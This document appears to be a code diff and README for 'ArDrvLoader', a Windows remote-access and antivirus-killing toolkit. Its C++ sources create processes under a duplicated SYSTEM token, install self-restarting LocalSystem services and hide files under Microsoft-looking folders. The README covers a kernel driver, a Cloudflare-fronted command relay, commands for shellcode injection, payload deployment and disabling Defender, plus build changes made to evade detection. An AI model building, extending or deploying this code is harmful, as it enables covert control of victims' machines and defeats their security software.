// binary - no log file, no debug output, no strings for an analyst to read.
#ifndef ARDRV_LOG_ENABLED
#ifdef _DEBUG
#define ARDRV_LOG_ENABLED 1
#else
#define ARDRV_LOG_ENABLED 0
#endif
#endif
#if ARDRV_LOG_ENABLED
void LogImpl(const wchar_t* fmt, ...);
#define Log(...) LogImpl(__VA_ARGS__)
#else
#define Log(...) ((void)0)
#endif
+229
View File
@@ -0,0 +1,229 @@
#include "Common.h"
#include "Paths.h"
#include <vector>
static std::wstring ProgramDataDir()
{
wchar_t buf[MAX_PATH]{};
DWORD n = GetEnvironmentVariableW(L"ProgramData", buf, _countof(buf));
if (n > 0 && n < _countof(buf))
return buf;
return L"C:\\ProgramData";
}
static std::wstring MachineGuid()
{
HKEY key = nullptr;
std::wstring out;
if (RegOpenKeyExW(
HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Cryptography",
0,
KEY_READ | KEY_WOW64_64KEY,
&key) == ERROR_SUCCESS)
{
wchar_t buf[128]{};
DWORD size = sizeof(buf);
DWORD type = 0;
if (RegQueryValueExW(key, L"MachineGuid", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS &&
type == REG_SZ)
{
out = buf;
}
RegCloseKey(key);
}
if (out.empty())
{
// Fall back to the volume serial so the path is still per-machine.
DWORD serial = 0;
if (!GetVolumeInformationW(L"C:\\", nullptr, 0, &serial, nullptr, nullptr, nullptr, 0))
serial = 0x12345678;
wchar_t hex[16]{};
swprintf_s(hex, L"%08lx", serial);
out = hex;
}
return out;
}
// FNV-1a over the machine GUID: 8 hex chars, stable on this host only.
static std::wstring MachineTag()
{
const std::wstring guid = MachineGuid();
unsigned int hash = 2166136261u;
for (wchar_t c : guid)
{
hash ^= (unsigned int)(c & 0xFF);
hash *= 16777619u;
hash ^= (unsigned int)((c >> 8) & 0xFF);
hash *= 16777619u;
}
wchar_t out[16]{};
swprintf_s(out, L"%08x", hash);
return out;
}
static std::wstring LocalAppDataDir()
{
wchar_t buf[MAX_PATH]{};
DWORD n = GetEnvironmentVariableW(L"LOCALAPPDATA", buf, _countof(buf));
if (n > 0 && n < _countof(buf))
return buf;
return ProgramDataDir();
}
static bool RunningElevatedOrSystem()
{
HANDLE token = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
return false;
TOKEN_ELEVATION elevation{};
DWORD len = sizeof(elevation);
bool elevated = false;
if (GetTokenInformation(token, TokenElevation, &elevation, len, &len))
elevated = elevation.TokenIsElevated != 0;
if (!elevated)
{
// SYSTEM is never "elevated" in the UAC sense but is fully privileged.
DWORD needed = 0;
GetTokenInformation(token, TokenUser, nullptr, 0, &needed);
if (needed > 0)
{
std::vector<BYTE> buf(needed);
PTOKEN_USER tu = reinterpret_cast<PTOKEN_USER>(buf.data());
if (GetTokenInformation(token, TokenUser, tu, needed, &needed))
{
LPWSTR sid = nullptr;
if (ConvertSidToStringSidW(tu->User.Sid, &sid))
{
elevated = wcscmp(sid, L"S-1-5-18") == 0;
LocalFree(sid);
}
}
}
}
CloseHandle(token);
return elevated;
}
std::wstring ArdrvRoot()
{
wchar_t override[MAX_PATH]{};
DWORD n = GetEnvironmentVariableW(L"ARDRV_ROOT", override, _countof(override));
if (n > 0 && n < _countof(override))
{
std::wstring root = override;
EnsureDirExists(root);
return root;
}
const std::wstring tag = MachineTag();
const bool elevated = RunningElevatedOrSystem();
// Machine-wide deep path for services and elevated runs.
std::wstring machine = ProgramDataDir() + L"\\Microsoft\\Windows\\Caches\\" + tag;
// Per-user deep path for an agent running as the interactive user.
std::wstring user = LocalAppDataDir() + L"\\Microsoft\\Windows\\INetCache\\" + tag;
std::wstring preferred = elevated ? machine : user;
std::wstring alternate = elevated ? user : machine;
EnsureDirExists(preferred);
if (GetFileAttributesW(preferred.c_str()) != INVALID_FILE_ATTRIBUTES)
return preferred;
EnsureDirExists(alternate);
if (GetFileAttributesW(alternate.c_str()) != INVALID_FILE_ATTRIBUTES)
return alternate;
std::wstring flat = ProgramDataDir() + L"\\ArDrvLoader";
EnsureDirExists(flat);
return flat;
}
void EnsureDirExists(const std::wstring& path)
{
if (path.empty())
return;
std::wstring partial;
for (size_t i = 0; i < path.size(); ++i)
{
partial += path[i];
if (path[i] == L'\\' || i + 1 == path.size())
{
if (partial.size() > 3)
CreateDirectoryW(partial.c_str(), nullptr);
}
}
}
std::wstring ArdrvServiceDir(const std::wstring& serviceName)
{
std::wstring dir = ArdrvRoot();
dir += L"\\";
dir += serviceName;
EnsureDirExists(dir);
return dir;
}
std::wstring ArdrvStageDir()
{
std::wstring dir = ArdrvRoot();
dir += L"\\stage";
EnsureDirExists(dir);
return dir;
}
std::wstring ArdrvStatePath()
{
std::wstring path = ArdrvRoot();
path += L"\\state.dat";
return path;
}
std::wstring ArdrvLegacyStageDir()
{
return ProgramDataDir() + L"\\ArDrvLoader\\payloads";
}
std::wstring ArdrvLegacyStatePath()
{
return ProgramDataDir() + L"\\ArDrvLoader\\host.track";
}
+26
View File
@@ -0,0 +1,26 @@
#pragma once
#include <windows.h>
#include <string>
// Deep, machine-specific artifact layout. Nothing sits in a folder named after
// this project; the path is derived from the machine GUID so it is stable on a
// host but not guessable from another one.
//
// %ProgramData%\Microsoft\Windows\Caches\<8hex>\<ServiceName>\<ServiceName>.exe
// %ProgramData%\Microsoft\Windows\Caches\<8hex>\stage\ (downloads)
// %ProgramData%\Microsoft\Windows\Caches\<8hex>\state.dat (host tracking)
//
// Override the root with ARDRV_ROOT (useful for tests).
std::wstring ArdrvRoot();
std::wstring ArdrvServiceDir(const std::wstring& serviceName);
std::wstring ArdrvStageDir();
std::wstring ArdrvStatePath();
// Old flat layout, used only for one-time migration.
std::wstring ArdrvLegacyStageDir();
std::wstring ArdrvLegacyStatePath();
void EnsureDirExists(const std::wstring& path);
+212
View File
@@ -0,0 +1,212 @@
#include "Common.h"
#include "ProcessUtils.h"
#include "TokenUtils.h"
#include "Logger.h"
DWORD GetPidByName(const wchar_t* exeName)
{
if (!exeName)
return 0;
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE)
return 0;
PROCESSENTRY32W pe{};
pe.dwSize = sizeof(pe);
if (!Process32First(snap, &pe))
{
CloseHandle(snap);
return 0;
}
do
{
if (_wcsicmp(pe.szExeFile, exeName) == 0)
{
DWORD pid = pe.th32ProcessID;
CloseHandle(snap);
return pid;
}
} while (Process32Next(snap, &pe));
CloseHandle(snap);
return 0;
}
bool ProcessExistsByName(const wchar_t* exeName)
{
return GetPidByName(exeName) != 0;
}
static bool BuildCommandLine(
const wchar_t* exePath,
const wchar_t* args,
std::wstring& fullPath,
std::wstring& commandLine)
{
if (!exePath || !*exePath)
return false;
wchar_t abs[4096]{};
DWORD n = GetFullPathNameW(exePath, _countof(abs), abs, nullptr);
if (n == 0)
wcscpy_s(abs, _countof(abs), exePath);
fullPath = abs;
if (GetFileAttributesW(fullPath.c_str()) == INVALID_FILE_ATTRIBUTES)
{
Log(L"[-] Executable not found: %s", fullPath.c_str());
return false;
}
commandLine.clear();
commandLine += L'"';
commandLine += fullPath;
commandLine += L'"';
if (args && *args)
{
commandLine += L' ';
commandLine += args;
}
return true;
}
static bool CreateProcessAsSystemImpl(
HANDLE systemToken,
const wchar_t* exePath,
const wchar_t* args,
bool interactive,
bool suspended,
NewProcInfo* out)
{
if (out)
*out = NewProcInfo();
if (!systemToken || !exePath)
return false;
HANDLE tok = DuplicateSystemTokenFromHandle(systemToken);
if (!tok)
{
Log(L"[-] Failed to duplicate SYSTEM token for process creation");
return false;
}
EnablePrivilege(SE_ASSIGNPRIMARYTOKEN_NAME);
EnablePrivilege(SE_INCREASE_QUOTA_NAME);
if (interactive)
{
DWORD session = WTSGetActiveConsoleSessionId();
if (session != 0xFFFFFFFF)
{
if (!SetTokenInformation(tok, TokenSessionId, &session, sizeof(session)))
{
Log(L"[!] SetTokenInformation(TokenSessionId) failed: %lu", GetLastError());
}
}
}
LPVOID env = nullptr;
BOOL createdEnv = CreateEnvironmentBlock(&env, tok, FALSE);
STARTUPINFOW si{};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = interactive ? SW_SHOWDEFAULT : SW_HIDE;
if (interactive)
si.lpDesktop = const_cast<LPWSTR>(L"Winsta0\\Default");
std::wstring fullPath;
std::wstring cmd;
if (!BuildCommandLine(exePath, args, fullPath, cmd))
{
if (createdEnv)
DestroyEnvironmentBlock(env);
CloseHandle(tok);
return false;
}
PROCESS_INFORMATION pi{};
DWORD creationFlags = 0;
if (!interactive)
creationFlags |= CREATE_NO_WINDOW;
if (suspended)
creationFlags |= CREATE_SUSPENDED;
BOOL ok = CreateProcessAsUserW(
tok,
fullPath.c_str(),
cmd.data(),
nullptr,
nullptr,
FALSE,
creationFlags,
createdEnv ? env : nullptr,
nullptr,
&si,
&pi);
if (!ok)
{
Log(L"[-] CreateProcessAsUserW failed: %lu", GetLastError());
}
else
{
Log(L"[+] Created process: PID %lu", pi.dwProcessId);
if (out)
{
out->hProcess = pi.hProcess;
out->hThread = pi.hThread;
out->processId = pi.dwProcessId;
}
else
{
if (pi.hThread)
CloseHandle(pi.hThread);
if (pi.hProcess)
CloseHandle(pi.hProcess);
}
}
if (createdEnv)
DestroyEnvironmentBlock(env);
CloseHandle(tok);
return ok == TRUE;
}
bool StartProcessAsSystem(
HANDLE systemToken,
const wchar_t* exePath,
const wchar_t* args,
bool interactive)
{
return CreateProcessAsSystemImpl(systemToken, exePath, args, interactive, false, nullptr);
}
bool CreateProcessSuspendedAsSystem(
HANDLE systemToken,
const wchar_t* exePath,
const wchar_t* args,
bool interactive,
NewProcInfo* out)
{
return CreateProcessAsSystemImpl(systemToken, exePath, args, interactive, true, out);
}
+33
View File
@@ -0,0 +1,33 @@
#pragma once
#include <windows.h>
struct NewProcInfo
{
HANDLE hProcess;
HANDLE hThread;
DWORD processId;
NewProcInfo()
: hProcess(nullptr)
, hThread(nullptr)
, processId(0)
{
}
};
DWORD GetPidByName(const wchar_t* exeName);
bool ProcessExistsByName(const wchar_t* exeName);
bool StartProcessAsSystem(
HANDLE systemToken,
const wchar_t* exePath,
const wchar_t* args,
bool interactive);
bool CreateProcessSuspendedAsSystem(
HANDLE systemToken,
const wchar_t* exePath,
const wchar_t* args,
bool interactive,
NewProcInfo* out);
+410
View File
@@ -0,0 +1,410 @@
# ArDrvLoader - build, use, test
Single Windows client binary that installs a LocalSystem service stack, a kernel
driver, and a cloud command channel, plus a relay server and a Cloudflare Worker
that sit in front of it.
```
client exe → Cloudflare Worker (proxy) → relay server (Node + SQLite) → panel
```
The Worker stores nothing; the relay owns all state. A client can also talk to the
relay directly (no Worker) when you want to save Cloudflare requests.
- detailed internals: `SERVICES.md`
- this file: how to build, run and test
---
## 1. Requirements
| Piece | Need |
|---|---|
| Client build | Visual Studio 2022/2026 with C++ x64 toolset, MSBuild |
| Relay | Node.js 22+ (uses `node:sqlite`, no npm dependencies) |
| Worker (optional) | `npm i -g wrangler` and a Cloudflare account |
| Test target | Windows 10/11 x64, admin rights for service install |
Repository layout:
```
cpp_end/
*.cpp *.h client sources
ArDrvLoader.vcxproj client project
StageDll.cpp/.vcxproj stage payload DLL (embedded into the exe)
driver_res.rc stage_res.rc resource.h embedded driver + payload
build.ps1 build driver → payload → exe, produces dist\<cfg>
server/ relay server, sqlite, panel.html
cloudflare/ Worker proxy, mock worker
agent-cli.ps1 agent.cmd small helpers to send a command and read the ACK
test-cloud.ps1 end-to-end test against the mock worker
SERVICES.md deep documentation
```
Place `ardrv.sys` in `cpp_end\` before building if you want the driver embedded.
Place nothing there for a driver-less build.
---
## 2. Build
```
cd cpp_end
powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Release
```
Output:
```
dist\Release\ArDrvLoader.exe <- single file, this is what ships
x64\Release\ArDrvLoader.exe <- build output with .pdb symbols
```
Variants:
| Command | Result |
|---|---|
| `build.ps1 -Configuration Release` | 335 KB, driver + stage DLL embedded, silent (no console), no logs |
| `build.ps1 -Configuration Debug` | 2.5 MB, console window, writes `C:\Users\Public\ardrv_loader.log` |
| `build.ps1 -Configuration Release -NoEmbed` | 274 KB, no embedded resources; ship `ardrv.sys` and `ardrvstage.dll` separately |
| `build.ps1 -NoEmbed` also accepts `-SkipPayload` | skips rebuilding the stage DLL entirely |
Raw MSBuild, if you prefer:
```
MSBuild ArDrvLoader.vcxproj /p:Configuration=Release /p:Platform=x64 /m
```
Release is linked as a **Windows subsystem** binary (`wmainCRTStartup`), so
double-clicking it shows no console. Debug stays a console app.
Build hardening already applied to Release: `/Brepro` (no Rich header, no
timestamps) and `/PDBALTPATH:%_PDB%` (no absolute build paths). This removed a
`Trojan:Win32/Wacatac.B!ml` false positive from Defender.
### Build-time defaults
The exe can run with **no arguments at all**. These macros live in
`ArDrvLoader.vcxproj` → `PreprocessorDefinitions`:
| Macro | Meaning | Default |
|---|---|---|
| `ARDRV_DEFAULT_URL` | relay or Worker address | `http://127.0.0.1:8789` |
| `ARDRV_DEFAULT_OPERATOR_KEY` | operator key for the API | `testop` |
| `ARDRV_DEFAULT_SECRET` | agent key | `testsecret` |
| `ARDRV_DEFAULT_AGENT` | agent id, empty = computer name | empty |
| `ARDRV_ALLOW_VM_DEFAULT` | `1` bypasses the VM gate (lab images) | `1` |
Set `ARDRV_ALLOW_VM_DEFAULT=0` and real URLs before shipping.
---
## 3. Run the relay server
```
cd cpp_end/server
set PORT=8790
set AGENT_SECRET=testsecret
set OPERATOR_KEY=testop
set ENROLL_SECRET=testenroll
set LEGACY_MASTER_AUTH=false
set PROXY_SECRET=proxys3cret
node server.js
```
| Env | Default | Purpose |
|---|---|---|
| `PORT` | 8790 | listen port |
| `DATA_DIR` | `./data` | sqlite file + `files/` payloads |
| `PANEL_PATH` | `server/panel.html` | UI to serve at `/panel` |
| `AGENT_SECRET` | - | master key; per-agent keys are derived from it |
| `OPERATOR_KEY` | - | panel / operator API key |
| `ENROLL_SECRET` | operator key | enrollment token |
| `LEGACY_MASTER_AUTH` | `false` | accept the shared master key during migration |
| `PROXY_SECRET` | - | if set, requests must carry `X-Proxy-Secret` |
| `RETAIN_COMMAND_DAYS` | 7 | command retention |
| `RETAIN_EVENT_DAYS` | 30 | event retention |
| `RETAIN_MAX_COMMANDS` | 50000 | hard cap |
The server creates its schema on start, opens SQLite in WAL mode, and reaps
commands stuck in `sent` for over 180 s.
Panel: `http://<host>:8790/panel?key=testop`
---
## 4. Run the Worker proxy (optional)
```
cd cpp_end/cloudflare
wrangler dev --port 8789 --ip 127.0.0.1 --local
```
`.dev.vars`:
```
SERVER_URL=http://127.0.0.1:8790
PROXY_SECRET=proxys3cret
```
Production: set `SERVER_URL` as a Worker var and `PROXY_SECRET` as a secret, then
`wrangler deploy`. `wrangler.toml` has no D1 or KV bindings - the Worker is a pure
forwarder.
---
## 5. Install the client
### One double-click
`dist\Release\ArDrvLoader.exe` with **no arguments** uses the build-time defaults:
1. one UAC prompt
2. installs driver + three services + cloud agent service
3. waits for the agent to register (id = computer name)
4. queues `KILLAV` through the relay so the run appears in the panel
### With explicit arguments
```
ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> ^
[--agent box1] [--secret <agent-key>] [--target C:\Path\App.exe] [--no-killav]
```
### Services only, no bootstrap
```
ArDrvLoader.exe -install-guard-services --target "C:\Path\App.exe" --args "--silent"
ArDrvLoader.exe -install-guard-services --target-service "SomeService"
ArDrvLoader.exe -install-guard-services --dry-run # print the plan, no UAC
```
Options: `--prefix <Name>`, `--install-dir <path>`, `--keep-location`,
`--no-start`, `--allow-vm`, `--cloud-url`, `--cloud-secret`, `--cloud-agent`,
`--cloud-service`.
### What gets installed
| Service | Role |
|---|---|
| `DeviceSetupHost` | extracts the driver to `System32\drivers`, creates/starts kernel service `ArDrv`, verifies `\\.\ArDrv` |
| `ProgramCompatHost` | keeps the target program alive, keeps the stage payload injected, keeps peers alive |
| `ServiceStateHost` | re-enables a disabled target service and starts it |
| `CloudTest` / `CloudSyncHost` | the cloud agent |
All run as `LocalSystem`, auto-start, restart on failure, and watch each other.
Files live under a machine-tagged directory:
`%ProgramData%\Microsoft\Windows\Caches\<8hex>\` (or `%LOCALAPPDATA%\...\INetCache\<8hex>\`
for a non-elevated agent).
### Configuration - `HKLM\SOFTWARE\ArDrvLoader`
The key is DACL-locked to SYSTEM + Administrators. Services re-read it every loop,
so changes apply without reinstalling.
| Value | Type | Default | Meaning |
|---|---|---|---|
| `TargetPath` | REG_SZ | - | program to keep alive |
| `TargetArgs` | REG_SZ | - | its arguments |
| `TargetService` | REG_SZ | - | service to keep alive instead |
| `DriverImage` | REG_SZ | `...\drivers\ardrv.sys` | driver path |
| `DriverService` | REG_SZ | `ArDrv` | kernel service name |
| `DriverDevice` | REG_SZ | `\\.\ArDrv` | device to verify |
| `CheckIntervalMs` | REG_DWORD | 5000 | loop interval |
| `DesiredStartType` | REG_DWORD | 2 | 2 auto, 3 demand |
| `DriverFailCount` | REG_DWORD | 0 | consecutive driver failures |
| `DriverFailMax` | REG_DWORD | 3 | budget before giving up |
| `DriverState` | REG_SZ | - | `ok` / `failed` / `disabled-after-failures` |
| `KillAvOnStart` | REG_DWORD | 0 | AV sweep on each guard start |
| `AllowVm` | REG_DWORD | 0 | run inside a VM |
| `ExclusionPaths` | REG_SZ | - | `|`-separated Defender exclusions |
---
## 6. Cloud agent
```
ArDrvLoader.exe -cloud --agent box1 --url https://relay.example --secret <key> --interval 5000
ArDrvLoader.exe -cloud-service --service-name CloudTest --agent box1 --url ... --secret ...
```
Config is also read from env (`CA_URL`, `CA_SECRET`, ...) or
`HKLM\Software\CloudAgent`.
### Per-agent keys
```
ArDrvLoader.exe -enroll --url https://relay.example --agent box1 --enroll-secret <token>
```
Writes `<root>\agent-box1.key`; the agent uses it when `--secret` and `CA_SECRET`
are absent. Revoke from the panel (`revoke`) or
`POST /api/revoke {"agent":"box1","revoked":true}`. Re-enrolling clears it.
---
## 7. Panel
`http://<host>:8790/panel?key=<operator-key>`
- **Console** - per-agent composer (Enter sends, Shift+Enter newline), quick chips,
history with `copy result` / `run again`
- **All commands** - global table, defaults to executed commands, sortable by
time / agent / command / state / operator / result / duration
- `run` chip re-enqueues that command for the same agent
- `+` or the result cell expands the output
- clicking the row loads the command into that agent's console
- **Palette** - `all commands (47)` opens every command grouped by category, with
search; chips with `<args>` load into the composer, others send immediately
- agent header shows host, user, SID, version, interval, and `revoke`/`restore`
- offline agents render grey (`online=false` after 3 intervals, min 45 s)
- broadcast sends one command to every online agent
- auto-refresh every 3 s, `/` focuses the agent filter, `lock` forgets the key
---
## 8. Commands
```
PING STATUS HELP
RUN <cmd> EXEC <commandline> RUN_USER <cmd> RUN_SYSTEM <cmd>
PS <powershell> PS_USER <powershell>
RUNFILE <path> [args] RUNFILE_USER RUNFILE_SYSTEM
OPENFILE <path> [args] OPENFILE_USER
DOWNLOAD <url> <out> [sha256] DEPLOY <url> [args] DEPLOY_SYSTEM <url> [args]
KILLPID <pid> KILLNAME <exe> KILLALL <exe> TOKEN_GET
INJECT_FILE <pid> <shellcode> INJECT_SUSPEND <exe> <shellcode>
KILLAV KILLAV_DRYRUN
EXCLUSION_LIST EXCLUSION_ADD <path> EXCLUSION_APPLY
DRIVER_STATUS DRIVER_RESET DRIVER_LOAD
HOST_LIST HOST_SPAWN [--host <img>] <exe> [args] HOST_SPAWN_USER
HOST_INJECT <shellcode> [--host <img>] HOST_TRACK HOST_UNTRACK
STAGE_STATUS STAGE_INJECT [--host <img>] STAGE_RUN <cmd> STAGE_STOP
SERVICE_STATUS <name> START_SERVICE <name> [path]
INSTALL_SERVICE <name> [path] INSTALL_CLOUD_SERVICE <name>
INSTALL_GUARD_SERVICES [--target <path>] [--target-service <name>] [--args <args>]
STOP
```
`KILLAV` and `STOP` are real actions; everything else is diagnostic or scoped.
---
## 9. Test
### 9.1 Automated cloud test (mock worker, no Node needed in the path)
```
cd cpp_end
powershell -ExecutionPolicy Bypass -File test-cloud.ps1
```
It starts `cloudflare/mock-worker.ps1`, starts an agent against it and checks:
PING, STATUS, DOWNLOAD (with SHA-256), a wrong-hash download that must be rejected
and deleted, DEPLOY, HOST_LIST, HOST_TRACK, STAGE_STATUS, EXCLUSION_LIST,
DRIVER_STATUS, STOP, plus an unsigned request that must return 403. Prints PASS.
Useful switches: `-Port 8795 -AgentId clitest1`.
### 9.2 Manual command against the live relay
```
\.\agent-cli.ps1 -Command "STATUS"
\.\agent-cli.ps1 -Worker http://127.0.0.1:8789 -Agent box1 -Secret testsecret -Command "HOST_LIST"
agent.cmd STATUS # wrapper for hosts with a restrictive execution policy
```
### 9.3 Single-exe client test
1. Copy `dist\Release\ArDrvLoader.exe` into an empty folder
2. Double-click it (Release is silent; use Debug to watch)
3. Expect UAC → agent appears in the panel → `KILLAV` row completes
Verify from a shell:
```
sc query DeviceSetupHost
sc query ArDrv
dir C:\Windows\System32\drivers\ardrv.sys
HKLM\SOFTWARE\ArDrvLoader
```
### 9.4 Driver checks
```
ArDrvLoader.exe -drv status # device=ok embedded=<bytes> fail=N/max state=...
ArDrvLoader.exe -drv extract C:\Temp\ardrv.sys
ArDrvLoader.exe -drv reset
```
### 9.5 Kill-safety checks
```
ArDrvLoader.exe -killav --dry-run # AV allowlist, nothing killed
ArDrvLoader.exe -killav --dry-run --name svchost.exe # must print SKIP protected
ArDrvLoader.exe -killav --dry-run --name notepad.exe # would-kill, or would-kill (driver)
```
### 9.6 AV scan
```
"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File ^
"C:\Code\AvKiler\cpp_end\dist\Release\ArDrvLoader.exe" -DisableRemediation
```
Current build scans clean on engine 1.461.217.0.
### 9.7 Uninstall / reset
Elevated, in order:
```
sc stop CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
sc delete CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
sc stop ArDrv
sc delete ArDrv
del C:\Windows\System32\drivers\ardrv.sys
reg delete HKLM\SOFTWARE\ArDrvLoader /f
rmdir /s /q C:\ProgramData\Microsoft\Windows\Caches\<8hex>
```
Then clear relay state if you want a clean panel:
```
node -e "const{DatabaseSync}=require('node:sqlite');const d=new DatabaseSync('server/data/ardrv.sqlite');d.exec('DELETE FROM commands;DELETE FROM events;DELETE FROM agents;')"
```
A staged payload that was injected into a live host can keep
`ardrvstage.dll` locked until reboot; queue it with
`PendingFileRenameOperations` or restart.
---
## 10. Troubleshooting
| Symptom | Cause / fix |
|---|---|
| double-click does nothing, no UAC | launched from an elevated shell - Windows suppresses the prompt; launch from Explorer |
| UAC appears, nothing installed | `--elevated` present but bootstrap not selected; check you are on a build after commit `9db2870` |
| silent exit, no services | VM gate blocked it - set `ARDRV_ALLOW_VM_DEFAULT=1` or `--allow-vm` |
| agent never appears | relay/worker down, wrong URL, or `PROXY_SECRET` mismatch (relay returns 403) |
| agent shows offline while running | poll interval mismatch; check `X-Agent-Interval` header handling and the 3-interval threshold |
| services Stopped after an update | binary replace hit a sharing violation; the installer retries 10 s. Check Event Log if it persists |
| driver role stops retrying | `DriverFailMax` reached - `DRIVER_RESET` or `-drv reset` |
| command runs twice | reaper requeued a slow command; agents dedupe by id and ack `OK (dup, not re-executed)` |
| Defender deletes the exe | re-scan; if flagged, rebuild (Brepro/PDBALTPATH) or add an exclusion during testing |
| SmartScreen "unknown publisher" | unsigned exe with Mark of the Web; unblock the file or sign the binary |
---
## 11. Known limitations
- The client is **unsigned**; code signing is the durable fix for SmartScreen and
behavioural AV verdicts.
- Driver capabilities beyond terminate (`PPL` strip, kernel registry writes,
device ACL) need driver source, which is not part of this repository.
- `KILLAV` is real: on a test box it disables Defender until it recovers.
- Polling only (no WebSocket yet); at 15 s per agent the Cloudflare free tier caps
you around 17 agents.
- The "services go quiet, payload takes over" handoff is half-built: the guard
keeps the stage payload alive, but the payload only runs commands.
+1107
View File
File diff suppressed because it is too large Load Diff
+267
View File
@@ -0,0 +1,267 @@
#include "Common.h"
#include "ServiceManager.h"
#include "Logger.h"
bool EnsureWin32Service(
const wchar_t* serviceName,
const wchar_t* binaryPath,
bool startNow)
{
if (!serviceName || !binaryPath)
return false;
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!scm)
{
Log(L"[-] OpenSCManager failed: %lu", GetLastError());
return false;
}
SC_HANDLE svc = CreateServiceW(
scm,
serviceName,
serviceName,
SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
binaryPath,
nullptr,
nullptr,
nullptr,
nullptr,
nullptr);
DWORD lastErr = GetLastError();
if (!svc && lastErr == ERROR_SERVICE_EXISTS)
{
svc = OpenServiceW(
scm,
serviceName,
SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS);
}
if (!svc)
{
Log(L"[-] Open/Create service failed: %lu", lastErr);
CloseServiceHandle(scm);
return false;
}
if (!ChangeServiceConfigW(
svc,
SERVICE_NO_CHANGE,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
binaryPath,
nullptr,
nullptr,
nullptr,
nullptr,
nullptr,
nullptr))
{
Log(L"[!] ChangeServiceConfigW failed: %lu", GetLastError());
}
if (startNow)
{
SERVICE_STATUS st{};
bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING;
if (!running)
{
if (!StartServiceW(svc, 0, nullptr))
{
DWORD e = GetLastError();
if (e != ERROR_SERVICE_ALREADY_RUNNING)
Log(L"[-] StartService failed: %lu", e);
}
else
{
Log(L"[+] Service started");
}
}
else
{
Log(L"[+] Service already running");
}
}
CloseServiceHandle(svc);
CloseServiceHandle(scm);
return true;
}
bool IsServiceRunning(const wchar_t* serviceName)
{
if (!serviceName)
return false;
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!scm)
return false;
SC_HANDLE svc = OpenServiceW(scm, serviceName, SERVICE_QUERY_STATUS);
if (!svc)
{
CloseServiceHandle(scm);
return false;
}
SERVICE_STATUS st{};
bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING;
CloseServiceHandle(svc);
CloseServiceHandle(scm);
return running;
}
bool EnsureLocalSystemService(
const wchar_t* serviceName,
const wchar_t* binaryPath,
bool startNow,
bool restartOnFailure,
const wchar_t* displayName)
{
if (!serviceName || !binaryPath)
return false;
const wchar_t* display = (displayName && *displayName) ? displayName : serviceName;
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
if (!scm)
{
Log(L"[-] EnsureLocalSystemService: OpenSCManager failed: %lu", GetLastError());
return false;
}
SC_HANDLE svc = CreateServiceW(
scm,
serviceName,
display,
SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
binaryPath,
nullptr,
nullptr,
nullptr,
L"LocalSystem",
nullptr);
DWORD createError = GetLastError();
if (!svc && createError == ERROR_SERVICE_EXISTS)
{
svc = OpenServiceW(
scm,
serviceName,
SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS);
}
if (!svc)
{
Log(L"[-] EnsureLocalSystemService: create/open failed: %lu", createError);
CloseServiceHandle(scm);
return false;
}
if (!ChangeServiceConfigW(
svc,
SERVICE_NO_CHANGE,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
binaryPath,
nullptr,
nullptr,
nullptr,
L"LocalSystem",
nullptr,
nullptr))
{
Log(L"[!] EnsureLocalSystemService: ChangeServiceConfigW failed: %lu", GetLastError());
}
if (restartOnFailure)
{
SC_ACTION actions[3]{};
actions[0].Type = SC_ACTION_RESTART;
actions[0].Delay = 5000;
actions[1].Type = SC_ACTION_RESTART;
actions[1].Delay = 10000;
actions[2].Type = SC_ACTION_RESTART;
actions[2].Delay = 30000;
SERVICE_FAILURE_ACTIONSW failure{};
failure.dwResetPeriod = 86400;
failure.cActions = 3;
failure.lpsaActions = actions;
ChangeServiceConfig2W(svc, SERVICE_CONFIG_FAILURE_ACTIONS, &failure);
SERVICE_FAILURE_ACTIONS_FLAG flag{};
flag.fFailureActionsOnNonCrashFailures = TRUE;
ChangeServiceConfig2W(svc, SERVICE_CONFIG_FAILURE_ACTIONS_FLAG, &flag);
}
if (startNow)
{
SERVICE_STATUS st{};
bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING;
if (!running)
{
if (!StartServiceW(svc, 0, nullptr))
{
DWORD e = GetLastError();
if (e != ERROR_SERVICE_ALREADY_RUNNING)
{
Log(L"[-] EnsureLocalSystemService: StartService failed: %lu", e);
CloseServiceHandle(svc);
CloseServiceHandle(scm);
return false;
}
}
}
}
CloseServiceHandle(svc);
CloseServiceHandle(scm);
return true;
}
bool SetServiceDescription(
const wchar_t* serviceName,
const wchar_t* description)
{
if (!serviceName || !description)
return false;
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
if (!scm)
return false;
SC_HANDLE svc = OpenServiceW(scm, serviceName, SERVICE_CHANGE_CONFIG);
bool ok = false;
if (svc)
{
SERVICE_DESCRIPTIONW desc{};
desc.lpDescription = const_cast<LPWSTR>(description);
ok = ChangeServiceConfig2W(svc, SERVICE_CONFIG_DESCRIPTION, &desc) != FALSE;
CloseServiceHandle(svc);
}
CloseServiceHandle(scm);
return ok;
}
+21
View File
